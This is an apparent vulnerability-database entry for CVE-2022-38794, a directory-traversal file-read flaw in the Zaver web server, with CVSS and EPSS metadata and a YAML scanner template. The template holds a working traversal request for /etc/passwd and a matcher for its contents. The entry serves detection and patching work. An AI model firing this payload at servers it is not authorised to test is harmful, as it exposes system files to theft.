SecurityContext

CVE-2022-38794: Zaver - Local File Inclusion

Classification

  • Cwe: CWE-22
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Epss score: 0.04702
  • Epss percentile: 0.92029
  • Cpe: cpe:2.3:a:zaver_project:zaver:*:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: zaver
  • Vendor: zaver_project

Products

ProductIndexedUrl
zaver_project:zaveryes/v1/products/zaver_project/zaver

Labels

  • Name: Zaver - File Inclusion
  • Impact: Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  • Remediation: Implement input validation and sanitization to prevent directory traversal sequences.
  • Vulnerability type: file_inclusion
  • Vulnerability impact: file_system_read
  • Requirement type: user_interaction
  • Requirements: Attacker needs to control URL parameters
  • Labels source: projectdiscovery
  • From cve: CVE-2022-38794

```yaml

id: CVE-2022-38794

info:

name: Zaver - Local File Inclusion

author: pikpikcu

severity: high

description: |

Zaver through 2020-12-15 is vulnerable to local file inclusion via the GET /.. substring.

impact: |

This vulnerability can lead to unauthorized access, data leakage, and remote code execution.

remediation: |

To remediate this vulnerability, ensure that user input is properly validated and sanitized before being used in file inclusion operations.

reference:

- https://github.com/zyearn/zaver/issues/22

- https://nvd.nist.gov/vuln/detail/CVE-2022-38794

- https://github.com/ARPSyndicate/cvemon

- https://github.com/ARPSyndicate/kenzer-templates

- https://github.com/Henry4E36/POCS

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2022-38794

cwe-id: CWE-22

epss-score: 0.04702

epss-percentile: 0.92029

cpe: cpe:2.3:a:zaver_project:zaver:*:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: zaver_project

product: zaver

tags: cve,cve2022,lfi,zaver,zaver_project,vuln

http:

- method: GET

path:

- '{{BaseURL}}/../../../../../../../../etc/passwd'

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "root:[x*]:0:0"

- type: status

status:

- 200

digest: 490a00463044022076218bd9ac6aa97a42be09cbfe495fdf345bce0c80685b32afedec3d268378ba02200162e20bcc74a8220dd87c048348327bfde15cbc34eafe92d218ca57ff878394:922c64590222798bb761d5b6d8e72950

```